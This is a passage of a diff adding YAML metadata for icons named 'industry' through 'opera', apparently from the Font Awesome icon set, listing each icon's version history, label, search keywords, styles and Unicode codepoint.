+industry: + changes: + - '4.4' + - 5.0.0 + - 5.10.1 + label: Industry + search: + terms: + - building + - factory + - industrial + - manufacturing + - mill + - warehouse + styles: + - solid + unicode: f275 + voted: false +infinity: + changes: + - 5.0.13 + - 5.3.0 + - 5.10.1 + label: Infinity + search: + terms: + - eternity + - forever + - math + styles: + - solid + unicode: f534 + voted: true +info: + changes: + - '3.1' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: Info + search: + terms: + - details + - help + - information + - more + - support + styles: + - solid + unicode: f129 + voted: false +info-circle: + changes: + - '1' + - 5.0.0 + label: Info Circle + search: + terms: + - details + - help + - information + - more + - support + styles: + - solid + unicode: f05a + voted: false +innosoft: + changes: + - 5.15.0 + label: Innosoft + search: + terms: [] + styles: + - brands + unicode: e080 + voted: false +instagram: + changes: + - '4.6' + - 5.0.0 + label: Instagram + search: + terms: [] + styles: + - brands + unicode: f16d + voted: false +instagram-square: + changes: + - 5.12.1 + - 5.14.0 + label: Instagram Square + search: + terms: [] + styles: + - brands + unicode: e055 + voted: true +instalod: + changes: + - 5.15.0 + label: InstaLOD + search: + terms: [] + styles: + - brands + unicode: e081 + voted: false +intercom: + changes: + - 5.6.0 + label: Intercom + search: + terms: + - app + - customer + - messenger + styles: + - brands + unicode: f7af + voted: false +internet-explorer: + changes: + - '4.4' + - 5.0.0 + label: Internet-explorer + search: + terms: + - browser + - ie + styles: + - brands + unicode: f26b + voted: false +invision: + changes: + - 5.6.0 + label: InVision + search: + terms: + - app + - design + - interface + styles: + - brands + unicode: f7b0 + voted: false +ioxhost: + changes: + - '4.2' + - 5.0.0 + label: ioxhost + search: + terms: [] + styles: + - brands + unicode: f208 + voted: false +italic: + changes: + - '1' + - 5.0.0 + - 5.9.0 + - 5.10.1 + - 5.10.2 + label: italic + search: + terms: + - edit + - emphasis + - font + - format + - text + - type + styles: + - solid + unicode: f033 + voted: false +itch-io: + changes: + - 5.8.0 + label: itch.io + search: + terms: [] + styles: + - brands + unicode: f83a +itunes: + changes: + - 5.0.0 + label: iTunes + search: + terms: [] + styles: + - brands + unicode: f3b4 + voted: false +itunes-note: + changes: + - 5.0.0 + label: Itunes Note + search: + terms: [] + styles: + - brands + unicode: f3b5 + voted: false +java: + changes: + - 5.0.10 + - 5.7.0 + - 5.8.0 + label: Java + search: + terms: [] + styles: + - brands + unicode: f4e4 + voted: false +jedi: + changes: + - 5.3.0 + label: Jedi + search: + terms: + - crest + - force + - sith + - skywalker + - star wars + - yoda + styles: + - solid + unicode: f669 + voted: false +jedi-order: + changes: + - 5.0.12 + - 5.7.0 + label: Jedi Order + search: + terms: + - star wars + styles: + - brands + unicode: f50e + voted: false +jenkins: + changes: + - 5.0.0 + label: Jenkis + search: + terms: [] + styles: + - brands + unicode: f3b6 + voted: false +jira: + changes: + - 5.6.0 + label: Jira + search: + terms: + - atlassian + styles: + - brands + unicode: f7b1 + voted: true +joget: + changes: + - 5.0.0 + label: Joget + search: + terms: [] + styles: + - brands + unicode: f3b7 + voted: false +joint: + changes: + - 5.1.0 + label: Joint + search: + terms: + - blunt + - cannabis + - doobie + - drugs + - marijuana + - roach + - smoke + - smoking + - spliff + styles: + - solid + unicode: f595 + voted: false +joomla: + changes: + - '4.1' + - 5.0.0 + label: Joomla Logo + search: + terms: [] + styles: + - brands + unicode: f1aa + voted: false +journal-whills: + changes: + - 5.3.0 + - 5.11.0 + label: Journal of the Whills + search: + terms: + - book + - force + - jedi + - sith + - star wars + - yoda + styles: + - solid + unicode: f66a + voted: false +js: + changes: + - 5.0.0 + label: JavaScript (JS) + search: + terms: [] + styles: + - brands + unicode: f3b8 + voted: false +js-square: + changes: + - 5.0.0 + - 5.0.3 + label: JavaScript (JS) Square + search: + terms: [] + styles: + - brands + unicode: f3b9 + voted: false +jsfiddle: + changes: + - '4.1' + - 5.0.0 + label: jsFiddle + search: + terms: [] + styles: + - brands + unicode: f1cc + voted: false +kaaba: + changes: + - 5.3.0 + label: Kaaba + search: + terms: + - building + - cube + - islam + - muslim + styles: + - solid + unicode: f66b + voted: false +kaggle: + changes: + - 5.2.0 + - 5.8.0 + label: Kaggle + search: + terms: [] + styles: + - brands + unicode: f5fa + voted: true +key: + changes: + - '1' + - 5.0.0 + - 5.10.1 + label: key + search: + terms: + - lock + - password + - private + - secret + - unlock + styles: + - solid + unicode: f084 + voted: false +keybase: + changes: + - 5.0.11 + - 5.8.0 + - 5.10.2 + - 5.11.0 + label: Keybase + search: + terms: [] + styles: + - brands + unicode: f4f5 + voted: true +keyboard: + changes: + - '3.1' + - 5.0.0 + label: Keyboard + search: + terms: + - accessory + - edit + - input + - text + - type + - write + styles: + - solid + - regular + unicode: f11c + voted: false +keycdn: + changes: + - 5.0.0 + label: KeyCDN + search: + terms: [] + styles: + - brands + unicode: f3ba + voted: false +khanda: + changes: + - 5.3.0 + label: Khanda + search: + terms: + - chakkar + - sikh + - sikhism + - sword + styles: + - solid + unicode: f66d + voted: false +kickstarter: + changes: + - 5.0.0 + label: Kickstarter + search: + terms: [] + styles: + - brands + unicode: f3bb + voted: false +kickstarter-k: + changes: + - 5.0.0 + label: Kickstarter K + search: + terms: [] + styles: + - brands + unicode: f3bc + voted: false +kiss: + changes: + - 5.1.0 + - 5.1.1 + - 5.11.0 + - 5.11.1 + label: Kissing Face + search: + terms: + - beso + - emoticon + - face + - love + - smooch + styles: + - solid + - regular + unicode: f596 + voted: false +kiss-beam: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Kissing Face With Smiling Eyes + search: + terms: + - beso + - emoticon + - face + - love + - smooch + styles: + - solid + - regular + unicode: f597 + voted: false +kiss-wink-heart: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Face Blowing a Kiss + search: + terms: + - beso + - emoticon + - face + - love + - smooch + styles: + - solid + - regular + unicode: f598 + voted: false +kiwi-bird: + changes: + - 5.0.13 + label: Kiwi Bird + search: + terms: + - bird + - fauna + - new zealand + styles: + - solid + unicode: f535 + voted: false +korvue: + changes: + - 5.0.2 + label: KORVUE + search: + terms: [] + styles: + - brands + unicode: f42f + voted: false +landmark: + changes: + - 5.3.0 + label: Landmark + search: + terms: + - building + - historic + - memorable + - monument + - politics + styles: + - solid + unicode: f66f + voted: false +language: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: Language + search: + terms: + - dialect + - idiom + - localize + - speech + - translate + - vernacular + styles: + - solid + unicode: f1ab + voted: false +laptop: + changes: + - '3' + - 5.0.0 + - 5.2.0 + label: Laptop + search: + terms: + - computer + - cpu + - dell + - demo + - device + - mac + - macbook + - machine + - pc + styles: + - solid + unicode: f109 + voted: false +laptop-code: + changes: + - 5.2.0 + label: Laptop Code + search: + terms: + - computer + - cpu + - dell + - demo + - develop + - device + - mac + - macbook + - machine + - pc + styles: + - solid + unicode: f5fc + voted: false +laptop-house: + changes: + - 5.13.0 + - 5.14.0 + label: Laptop House + search: + terms: + - computer + - covid-19 + - device + - office + - remote + - work from home + styles: + - solid + unicode: e066 + voted: false +laptop-medical: + changes: + - 5.7.0 + label: Laptop Medical + search: + terms: + - computer + - device + - ehr + - electronic health records + - history + styles: + - solid + unicode: f812 + voted: false +laravel: + changes: + - 5.0.0 + - 5.0.3 + - 5.11.2 + label: Laravel + search: + terms: [] + styles: + - brands + unicode: f3bd + voted: false +lastfm: + changes: + - '4.2' + - 5.0.0 + label: last.fm + search: + terms: [] + styles: + - brands + unicode: f202 + voted: false +lastfm-square: + changes: + - '4.2' + - 5.0.0 + - 5.0.11 + label: last.fm Square + search: + terms: [] + styles: + - brands + unicode: f203 + voted: false +laugh: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Grinning Face With Big Eyes + search: + terms: + - LOL + - emoticon + - face + - laugh + - smile + styles: + - solid + - regular + unicode: f599 + voted: false +laugh-beam: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Laugh Face with Beaming Eyes + search: + terms: + - LOL + - emoticon + - face + - happy + - smile + styles: + - solid + - regular + unicode: f59a + voted: false +laugh-squint: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Laughing Squinting Face + search: + terms: + - LOL + - emoticon + - face + - happy + - smile + styles: + - solid + - regular + unicode: f59b + voted: false +laugh-wink: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Laughing Winking Face + search: + terms: + - LOL + - emoticon + - face + - happy + - smile + styles: + - solid + - regular + unicode: f59c + voted: false +layer-group: + changes: + - 5.2.0 + label: Layer Group + search: + terms: + - arrange + - develop + - layers + - map + - stack + styles: + - solid + unicode: f5fd + voted: false +leaf: + changes: + - '1' + - 5.0.0 + - 5.0.9 + label: leaf + search: + terms: + - eco + - flora + - nature + - plant + - vegan + styles: + - solid + unicode: f06c + voted: false +leanpub: + changes: + - '4.3' + - 5.0.0 + label: Leanpub + search: + terms: [] + styles: + - brands + unicode: f212 + voted: false +lemon: + changes: + - '1' + - 5.0.0 + label: Lemon + search: + terms: + - citrus + - lemonade + - lime + - tart + styles: + - solid + - regular + unicode: f094 + voted: false +less: + changes: + - 5.0.0 + label: Less + search: + terms: [] + styles: + - brands + unicode: f41d + voted: false +less-than: + changes: + - 5.0.13 + label: Less Than + search: + terms: + - arithmetic + - compare + - math + styles: + - solid + unicode: f536 + voted: true +less-than-equal: + changes: + - 5.0.13 + label: Less Than Equal To + search: + terms: + - arithmetic + - compare + - math + styles: + - solid + unicode: f537 + voted: true +level-down-alt: + changes: + - 5.0.0 + label: Alternate Level Down + search: + terms: + - arrow + - level-down + styles: + - solid + unicode: f3be + voted: false +level-up-alt: + changes: + - 5.0.0 + label: Alternate Level Up + search: + terms: + - arrow + - level-up + styles: + - solid + unicode: f3bf + voted: false +life-ring: + changes: + - '4.1' + - 5.0.0 + label: Life Ring + search: + terms: + - coast guard + - help + - overboard + - save + - support + styles: + - solid + - regular + unicode: f1cd + voted: false +lightbulb: + changes: + - '3' + - 5.0.0 + - 5.3.0 + label: Lightbulb + search: + terms: + - energy + - idea + - inspiration + - light + styles: + - solid + - regular + unicode: f0eb + voted: false +line: + changes: + - 5.0.0 + label: Line + search: + terms: [] + styles: + - brands + unicode: f3c0 + voted: false +link: + changes: + - '2' + - 5.0.0 + label: Link + search: + terms: + - attach + - attachment + - chain + - connect + styles: + - solid + unicode: f0c1 + voted: false +linkedin: + changes: + - '1' + - 5.0.0 + label: LinkedIn + search: + terms: + - linkedin-square + styles: + - brands + unicode: f08c + voted: false +linkedin-in: + changes: + - '2' + - 5.0.0 + - 5.4.1 + - 5.8.0 + - 5.8.1 + label: LinkedIn In + search: + terms: + - linkedin + styles: + - brands + unicode: f0e1 + voted: false +linode: + changes: + - '4.7' + - 5.0.0 + label: Linode + search: + terms: [] + styles: + - brands + unicode: f2b8 + voted: false +linux: + changes: + - '3.2' + - 5.0.0 + label: Linux + search: + terms: + - tux + styles: + - brands + unicode: f17c + voted: false +lira-sign: + changes: + - '4' + - 5.0.0 + label: Turkish Lira Sign + search: + terms: + - currency + - money + - try + - turkish + styles: + - solid + unicode: f195 + voted: false +list: + changes: + - '1' + - 5.0.0 + - 5.9.0 + label: List + search: + terms: + - checklist + - completed + - done + - finished + - ol + - todo + - ul + styles: + - solid + unicode: f03a + voted: false +list-alt: + changes: + - '1' + - 5.0.0 + label: Alternate List + search: + terms: + - checklist + - completed + - done + - finished + - ol + - todo + - ul + styles: + - solid + - regular + unicode: f022 + voted: false +list-ol: + changes: + - '2' + - 5.0.0 + - 5.9.0 + label: list-ol + search: + terms: + - checklist + - completed + - done + - finished + - numbers + - ol + - todo + - ul + styles: + - solid + unicode: f0cb + voted: false +list-ul: + changes: + - '2' + - 5.0.0 + - 5.9.0 + label: list-ul + search: + terms: + - checklist + - completed + - done + - finished + - ol + - todo + - ul + styles: + - solid + unicode: f0ca + voted: false +location-arrow: + changes: + - '3.1' + - 5.0.0 + label: location-arrow + search: + terms: + - address + - compass + - coordinate + - direction + - gps + - map + - navigation + - place + styles: + - solid + unicode: f124 + voted: false +lock: + changes: + - '1' + - 5.0.0 + label: lock + search: + terms: + - admin + - lock + - open + - password + - private + - protect + - security + styles: + - solid + unicode: f023 + voted: false +lock-open: + changes: + - '3.1' + - 5.0.0 + - 5.0.1 + label: Lock Open + search: + terms: + - admin + - lock + - open + - password + - private + - protect + - security + styles: + - solid + unicode: f3c1 + voted: false +long-arrow-alt-down: + changes: + - 5.0.0 + label: Alternate Long Arrow Down + search: + terms: + - download + - long-arrow-down + styles: + - solid + unicode: f309 + voted: false +long-arrow-alt-left: + changes: + - 5.0.0 + label: Alternate Long Arrow Left + search: + terms: + - back + - long-arrow-left + - previous + styles: + - solid + unicode: f30a + voted: false +long-arrow-alt-right: + changes: + - 5.0.0 + label: Alternate Long Arrow Right + search: + terms: + - forward + - long-arrow-right + - next + styles: + - solid + unicode: f30b + voted: false +long-arrow-alt-up: + changes: + - 5.0.0 + label: Alternate Long Arrow Up + search: + terms: + - long-arrow-up + - upload + styles: + - solid + unicode: f30c + voted: false +low-vision: + changes: + - '4.6' + - 5.0.0 + label: Low Vision + search: + terms: + - blind + - eye + - sight + styles: + - solid + unicode: f2a8 + voted: false +luggage-cart: + changes: + - 5.1.0 + label: Luggage Cart + search: + terms: + - bag + - baggage + - suitcase + - travel + styles: + - solid + unicode: f59d + voted: false +lungs: + changes: + - 5.2.0 + label: Lungs + search: + terms: + - air + - breath + - covid-19 + - organ + - respiratory + styles: + - solid + unicode: f604 + voted: false +lungs-virus: + changes: + - 5.13.0 + - 5.14.0 + label: Lungs Virus + search: + terms: + - breath + - covid-19 + - respiratory + - sick + styles: + - solid + unicode: e067 + voted: false +lyft: + changes: + - 5.0.0 + label: lyft + search: + terms: [] + styles: + - brands + unicode: f3c3 + voted: false +magento: + changes: + - 5.0.0 + label: Magento + search: + terms: [] + styles: + - brands + unicode: f3c4 + voted: false +magic: + changes: + - '2' + - 5.0.0 + - 5.1.0 + label: magic + search: + terms: + - autocomplete + - automatic + - mage + - magic + - spell + - wand + - witch + - wizard + styles: + - solid + unicode: f0d0 + voted: false +magnet: + changes: + - '1' + - 5.0.0 + - 5.8.0 + label: magnet + search: + terms: + - Attract + - lodestone + - tool + styles: + - solid + unicode: f076 + voted: false +mail-bulk: + changes: + - 5.3.0 + label: Mail Bulk + search: + terms: + - archive + - envelope + - letter + - post office + - postal + - postcard + - send + - stamp + - usps + styles: + - solid + unicode: f674 + voted: false +mailchimp: + changes: + - 5.1.0 + - 5.7.0 + - 5.8.0 + - 5.8.2 + label: Mailchimp + search: + terms: [] + styles: + - brands + unicode: f59e + voted: true +male: + changes: + - '3.2' + - 5.0.0 + label: Male + search: + terms: + - human + - man + - person + - profile + - user + styles: + - solid + unicode: f183 + voted: false +mandalorian: + changes: + - 5.0.12 + - 5.8.0 + label: Mandalorian + search: + terms: [] + styles: + - brands + unicode: f50f + voted: false +map: + changes: + - '4.4' + - 5.0.0 + - 5.1.0 + label: Map + search: + terms: + - address + - coordinates + - destination + - gps + - localize + - location + - map + - navigation + - paper + - pin + - place + - point of interest + - position + - route + - travel + styles: + - solid + - regular + unicode: f279 + voted: false +map-marked: + changes: + - 5.1.0 + label: Map Marked + search: + terms: + - address + - coordinates + - destination + - gps + - localize + - location + - map + - navigation + - paper + - pin + - place + - point of interest + - position + - route + - travel + styles: + - solid + unicode: f59f + voted: false +map-marked-alt: + changes: + - 5.1.0 + label: Alternate Map Marked + search: + terms: + - address + - coordinates + - destination + - gps + - localize + - location + - map + - navigation + - paper + - pin + - place + - point of interest + - position + - route + - travel + styles: + - solid + unicode: f5a0 + voted: false +map-marker: + changes: + - '1' + - 5.0.0 + label: map-marker + search: + terms: + - address + - coordinates + - destination + - gps + - localize + - location + - map + - navigation + - paper + - pin + - place + - point of interest + - position + - route + - travel + styles: + - solid + unicode: f041 + voted: false +map-marker-alt: + changes: + - 5.0.0 + label: Alternate Map Marker + search: + terms: + - address + - coordinates + - destination + - gps + - localize + - location + - map + - navigation + - paper + - pin + - place + - point of interest + - position + - route + - travel + styles: + - solid + unicode: f3c5 + voted: false +map-pin: + changes: + - '4.4' + - 5.0.0 + - 5.2.0 + label: Map Pin + search: + terms: + - address + - agree + - coordinates + - destination + - gps + - localize + - location + - map + - marker + - navigation + - pin + - place + - position + - travel + styles: + - solid + unicode: f276 + voted: false +map-signs: + changes: + - '4.4' + - 5.0.0 + - 5.2.0 + label: Map Signs + search: + terms: + - directions + - directory + - map + - signage + - wayfinding + styles: + - solid + unicode: f277 + voted: false +markdown: + changes: + - 5.2.0 + - 5.7.0 + label: Markdown + search: + terms: [] + styles: + - brands + unicode: f60f + voted: true +marker: + changes: + - 5.1.0 + label: Marker + search: + terms: + - design + - edit + - sharpie + - update + - write + styles: + - solid + unicode: f5a1 + voted: true +mars: + changes: + - '4.3' + - 5.0.0 + label: Mars + search: + terms: + - male + styles: + - solid + unicode: f222 + voted: false +mars-double: + changes: + - '4.3' + - 5.0.0 + label: Mars Double + search: + terms: [] + styles: + - solid + unicode: f227 + voted: false +mars-stroke: + changes: + - '4.3' + - 5.0.0 + label: Mars Stroke + search: + terms: [] + styles: + - solid + unicode: f229 + voted: false +mars-stroke-h: + changes: + - '4.3' + - 5.0.0 + - 5.11.0 + label: Mars Stroke Horizontal + search: + terms: [] + styles: + - solid + unicode: f22b + voted: false +mars-stroke-v: + changes: + - '4.3' + - 5.0.0 + - 5.11.0 + label: Mars Stroke Vertical + search: + terms: [] + styles: + - solid + unicode: f22a + voted: false +mask: + changes: + - 5.4.0 + - 5.10.1 + label: Mask + search: + terms: + - carnivale + - costume + - disguise + - halloween + - secret + - super hero + styles: + - solid + unicode: f6fa + voted: false +mastodon: + changes: + - 5.0.11 + - 5.8.0 + label: Mastodon + search: + terms: [] + styles: + - brands + unicode: f4f6 + voted: true +maxcdn: + changes: + - '3.1' + - 5.0.0 + label: MaxCDN + search: + terms: [] + styles: + - brands + unicode: f136 + voted: false +mdb: + changes: + - 5.11.0 + label: Material Design for Bootstrap + search: + terms: [] + styles: + - brands + unicode: f8ca +medal: + changes: + - 5.1.0 + label: Medal + search: + terms: + - award + - ribbon + - star + - trophy + styles: + - solid + unicode: f5a2 + voted: true +medapps: + changes: + - 5.0.0 + label: MedApps + search: + terms: [] + styles: + - brands + unicode: f3c6 + voted: false +medium: + changes: + - '4.3' + - 5.0.0 + label: Medium + search: + terms: [] + styles: + - brands + unicode: f23a + voted: false +medium-m: + changes: + - 5.0.0 + label: Medium M + search: + terms: [] + styles: + - brands + unicode: f3c7 + voted: false +medkit: + changes: + - '3' + - 5.0.0 + label: medkit + search: + terms: + - first aid + - firstaid + - health + - help + - support + styles: + - solid + unicode: f0fa + voted: false +medrt: + changes: + - 5.0.0 + label: MRT + search: + terms: [] + styles: + - brands + unicode: f3c8 + voted: false +meetup: + changes: + - '4.7' + - 5.0.0 + label: Meetup + search: + terms: [] + styles: + - brands + unicode: f2e0 + voted: false +megaport: + changes: + - 5.1.0 + label: Megaport + search: + terms: [] + styles: + - brands + unicode: f5a3 + voted: false +meh: + changes: + - '3.1' + - 5.0.0 + - 5.0.9 + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Neutral Face + search: + terms: + - emoticon + - face + - neutral + - rating + styles: + - solid + - regular + unicode: f11a + voted: false +meh-blank: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Face Without Mouth + search: + terms: + - emoticon + - face + - neutral + - rating + styles: + - solid + - regular + unicode: f5a4 + voted: false +meh-rolling-eyes: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Face With Rolling Eyes + search: + terms: + - emoticon + - face + - neutral + - rating + styles: + - solid + - regular + unicode: f5a5 + voted: false +memory: + changes: + - 5.0.13 + label: Memory + search: + terms: + - DIMM + - RAM + - hardware + - storage + - technology + styles: + - solid + unicode: f538 + voted: true +mendeley: + changes: + - 5.6.0 + label: Mendeley + search: + terms: [] + styles: + - brands + unicode: f7b3 + voted: true +menorah: + changes: + - 5.3.0 + - 5.4.0 + label: Menorah + search: + terms: + - candle + - hanukkah + - jewish + - judaism + - light + styles: + - solid + unicode: f676 + voted: false +mercury: + changes: + - '4.3' + - 5.0.0 + - 5.11.0 + label: Mercury + search: + terms: + - transgender + styles: + - solid + unicode: f223 + voted: false +meteor: + changes: + - 5.5.0 + - 5.12.0 + label: Meteor + search: + terms: + - armageddon + - asteroid + - comet + - shooting star + - space + styles: + - solid + unicode: f753 + voted: false +microblog: + changes: + - 5.12.0 + - 5.14.0 + label: Micro.blog + search: + terms: [] + styles: + - brands + unicode: e01a + voted: true +microchip: + changes: + - '4.7' + - 5.0.0 + label: Microchip + search: + terms: + - cpu + - hardware + - processor + - technology + styles: + - solid + unicode: f2db + voted: false +microphone: + changes: + - '3.1' + - 5.0.0 + - 5.0.13 + label: microphone + search: + terms: + - audio + - podcast + - record + - sing + - sound + - voice + styles: + - solid + unicode: f130 + voted: false +microphone-alt: + changes: + - 5.0.0 + - 5.0.13 + label: Alternate Microphone + search: + terms: + - audio + - podcast + - record + - sing + - sound + - voice + styles: + - solid + unicode: f3c9 + voted: false +microphone-alt-slash: + changes: + - 5.0.13 + label: Alternate Microphone Slash + search: + terms: + - audio + - disable + - mute + - podcast + - record + - sing + - sound + - voice + styles: + - solid + unicode: f539 + voted: false +microphone-slash: + changes: + - '3.1' + - 5.0.0 + - 5.0.13 + label: Microphone Slash + search: + terms: + - audio + - disable + - mute + - podcast + - record + - sing + - sound + - voice + styles: + - solid + unicode: f131 + voted: false +microscope: + changes: + - 5.2.0 + label: Microscope + search: + terms: + - covid-19 + - electron + - lens + - optics + - science + - shrink + styles: + - solid + unicode: f610 + voted: false +microsoft: + changes: + - 5.0.0 + label: Microsoft + search: + terms: [] + styles: + - brands + unicode: f3ca + voted: true +minus: + changes: + - '1' + - 5.0.0 + label: minus + search: + terms: + - collapse + - delete + - hide + - minify + - negative + - remove + - trash + styles: + - solid + unicode: f068 + voted: false +minus-circle: + changes: + - '1' + - 5.0.0 + - 5.10.2 + label: Minus Circle + search: + terms: + - delete + - hide + - negative + - remove + - shape + - trash + styles: + - solid + unicode: f056 + voted: false +minus-square: + changes: + - '3.1' + - 5.0.0 + label: Minus Square + search: + terms: + - collapse + - delete + - hide + - minify + - negative + - remove + - shape + - trash + styles: + - solid + - regular + unicode: f146 + voted: false +mitten: + changes: + - 5.6.0 + label: Mitten + search: + terms: + - clothing + - cold + - glove + - hands + - knitted + - seasonal + - warmth + styles: + - solid + unicode: f7b5 +mix: + changes: + - 5.0.0 + - 5.0.3 + label: Mix + search: + terms: [] + styles: + - brands + unicode: f3cb + voted: false +mixcloud: + changes: + - '4.5' + - 5.0.0 + label: Mixcloud + search: + terms: [] + styles: + - brands + unicode: f289 + voted: false +mixer: + changes: + - 5.12.1 + - 5.14.0 + label: Mixer + search: + terms: [] + styles: + - brands + unicode: e056 + voted: true +mizuni: + changes: + - 5.0.0 + label: Mizuni + search: + terms: [] + styles: + - brands + unicode: f3cc + voted: false +mobile: + changes: + - '3' + - 5.0.0 + label: Mobile Phone + search: + terms: + - apple + - call + - cell phone + - cellphone + - device + - iphone + - number + - screen + - telephone + styles: + - solid + unicode: f10b + voted: false +mobile-alt: + changes: + - 5.0.0 + label: Alternate Mobile + search: + terms: + - apple + - call + - cell phone + - cellphone + - device + - iphone + - number + - screen + - telephone + styles: + - solid + unicode: f3cd + voted: false +modx: + changes: + - '4.5' + - 5.0.0 + label: MODX + search: + terms: [] + styles: + - brands + unicode: f285 + voted: false +monero: + changes: + - 5.0.0 + label: Monero + search: + terms: [] + styles: + - brands + unicode: f3d0 + voted: false +money-bill: + changes: + - '2' + - 5.0.0 + - 5.0.13 + label: Money Bill + search: + terms: + - buy + - cash + - checkout + - money + - payment + - price + - purchase + styles: + - solid + unicode: f0d6 + voted: false +money-bill-alt: + changes: + - 5.0.0 + - 5.0.13 + label: Alternate Money Bill + search: + terms: + - buy + - cash + - checkout + - money + - payment + - price + - purchase + styles: + - solid + - regular + unicode: f3d1 + voted: false +money-bill-wave: + changes: + - 5.0.13 + label: Wavy Money Bill + search: + terms: + - buy + - cash + - checkout + - money + - payment + - price + - purchase + styles: + - solid + unicode: f53a + voted: true +money-bill-wave-alt: + changes: + - 5.0.13 + label: Alternate Wavy Money Bill + search: + terms: + - buy + - cash + - checkout + - money + - payment + - price + - purchase + styles: + - solid + unicode: f53b + voted: true +money-check: + changes: + - 5.0.13 + label: Money Check + search: + terms: + - bank check + - buy + - checkout + - cheque + - money + - payment + - price + - purchase + styles: + - solid + unicode: f53c + voted: true +money-check-alt: + changes: + - 5.0.13 + label: Alternate Money Check + search: + terms: + - bank check + - buy + - checkout + - cheque + - money + - payment + - price + - purchase + styles: + - solid + unicode: f53d + voted: true +monument: + changes: + - 5.1.0 + label: Monument + search: + terms: + - building + - historic + - landmark + - memorable + styles: + - solid + unicode: f5a6 + voted: false +moon: + changes: + - '3.2' + - 5.0.0 + - 5.11.0 + - 5.11.1 + label: Moon + search: + terms: + - contrast + - crescent + - dark + - lunar + - night + styles: + - solid + - regular + unicode: f186 + voted: false +mortar-pestle: + changes: + - 5.1.0 + label: Mortar Pestle + search: + terms: + - crush + - culinary + - grind + - medical + - mix + - pharmacy + - prescription + - spices + styles: + - solid + unicode: f5a7 + voted: false +mosque: + changes: + - 5.3.0 + label: Mosque + search: + terms: + - building + - islam + - landmark + - muslim + styles: + - solid + unicode: f678 + voted: false +motorcycle: + changes: + - '4.3' + - 5.0.0 + label: Motorcycle + search: + terms: + - bike + - machine + - transportation + - vehicle + styles: + - solid + unicode: f21c + voted: false +mountain: + changes: + - 5.4.0 + label: Mountain + search: + terms: + - glacier + - hiking + - hill + - landscape + - travel + - view + styles: + - solid + unicode: f6fc + voted: false +mouse: + changes: + - 5.11.0 + label: Mouse + search: + terms: + - click + - computer + - cursor + - input + - peripheral + styles: + - solid + unicode: f8cc + voted: true +mouse-pointer: + changes: + - '4.4' + - 5.0.0 + - 5.0.3 + label: Mouse Pointer + search: + terms: + - arrow + - cursor + - select + styles: + - solid + unicode: f245 + voted: false +mug-hot: + changes: + - 5.6.0 + label: Mug Hot + search: + terms: + - caliente + - cocoa + - coffee + - cup + - drink + - holiday + - hot chocolate + - steam + - tea + - warmth + styles: + - solid + unicode: f7b6 +music: + changes: + - '1' + - 5.0.0 + - 5.2.0 + - 5.11.0 + label: Music + search: + terms: + - lyrics + - melody + - note + - sing + - sound + styles: + - solid + unicode: f001 + voted: false +napster: + changes: + - 5.0.0 + label: Napster + search: + terms: [] + styles: + - brands + unicode: f3d2 + voted: false +neos: + changes: + - 5.2.0 + - 5.8.0 + label: Neos + search: + terms: [] + styles: + - brands + unicode: f612 + voted: true +network-wired: + changes: + - 5.4.0 + label: Wired Network + search: + terms: + - computer + - connect + - ethernet + - internet + - intranet + styles: + - solid + unicode: f6ff + voted: true +neuter: + changes: + - '4.3' + - 5.0.0 + - 5.11.0 + label: Neuter + search: + terms: [] + styles: + - solid + unicode: f22c + voted: false +newspaper: + changes: + - '4.2' + - 5.0.0 + label: Newspaper + search: + terms: + - article + - editorial + - headline + - journal + - journalism + - news + - press + styles: + - solid + - regular + unicode: f1ea + voted: false +nimblr: + changes: + - 5.1.0 + - 5.8.0 + label: Nimblr + search: + terms: [] + styles: + - brands + unicode: f5a8 + voted: false +node: + changes: + - 5.0.0 + label: Node.js + search: + terms: [] + styles: + - brands + unicode: f419 + voted: true +node-js: + changes: + - 5.0.0 + - 5.0.3 + label: Node.js JS + search: + terms: [] + styles: + - brands + unicode: f3d3 + voted: false +not-equal: + changes: + - 5.0.13 + label: Not Equal + search: + terms: + - arithmetic + - compare + - math + styles: + - solid + unicode: f53e + voted: true +notes-medical: + changes: + - 5.0.7 + label: Medical Notes + search: + terms: + - clipboard + - doctor + - ehr + - health + - history + - records + styles: + - solid + unicode: f481 + voted: false +npm: + changes: + - 5.0.0 + label: npm + search: + terms: [] + styles: + - brands + unicode: f3d4 + voted: false +ns8: + changes: + - 5.0.0 + - 5.15.0 + label: NS8 + search: + terms: [] + styles: + - brands + unicode: f3d5 + voted: false +nutritionix: + changes: + - 5.0.0 + label: Nutritionix + search: + terms: [] + styles: + - brands + unicode: f3d6 + voted: false +object-group: + changes: + - '4.4' + - 5.0.0 + - 5.10.1 + label: Object Group + search: + terms: + - combine + - copy + - design + - merge + - select + styles: + - solid + - regular + unicode: f247 + voted: false +object-ungroup: + changes: + - '4.4' + - 5.0.0 + - 5.10.1 + label: Object Ungroup + search: + terms: + - copy + - design + - merge + - select + - separate + styles: + - solid + - regular + unicode: f248 + voted: false +octopus-deploy: + changes: + - 5.15.0 + label: Octopus Deploy + search: + terms: [] + styles: + - brands + unicode: e082 + voted: false +odnoklassniki: + changes: + - '4.4' + - 5.0.0 + label: Odnoklassniki + search: + terms: [] + styles: + - brands + unicode: f263 + voted: false +odnoklassniki-square: + changes: + - '4.4' + - 5.0.0 + label: Odnoklassniki Square + search: + terms: [] + styles: + - brands + unicode: f264 + voted: false +oil-can: + changes: + - 5.2.0 + - 5.10.1 + label: Oil Can + search: + terms: + - auto + - crude + - gasoline + - grease + - lubricate + - petroleum + styles: + - solid + unicode: f613 + voted: false +old-republic: + changes: + - 5.0.12 + label: Old Republic + search: + terms: + - politics + - star wars + styles: + - brands + unicode: f510 + voted: false +om: + changes: + - 5.3.0 + label: Om + search: + terms: + - buddhism + - hinduism + - jainism + - mantra + styles: + - solid + unicode: f679 + voted: false +opencart: + changes: + - '4.4' + - 5.0.0 + label: OpenCart + search: + terms: [] + styles: + - brands + unicode: f23d + voted: false +openid: + changes: + - '4.1' + - 5.0.0 + label: OpenID + search: + terms: [] + styles: + - brands + unicode: f19b + voted: false +opera: + changes: + - 